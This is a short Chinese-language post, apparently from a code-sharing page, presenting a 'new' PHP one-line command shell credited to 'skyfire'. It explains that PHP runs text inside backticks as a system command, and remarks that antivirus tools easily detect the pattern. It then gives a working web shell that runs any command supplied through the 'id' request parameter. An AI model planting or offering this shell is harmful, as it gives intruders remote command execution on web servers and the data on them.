php一句話cmdshell新型 (非一句話木馬)

複製代碼 代碼如下:<?php
/*一個新型的php一句話cmdshell(非一句話木馬)
//原理:php運行時如果遇見字元``(鍵盤上~符號的下檔鍵)總會嘗試著執行``裡麵包含的命令，並返回命令執行的結果(string類型)；
//局限性:特徵碼比較明顯，``符號在php中很少用到，殺毒軟體很容易以此為特徵碼掃描到並警報；``裡面不能執行php代碼；
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>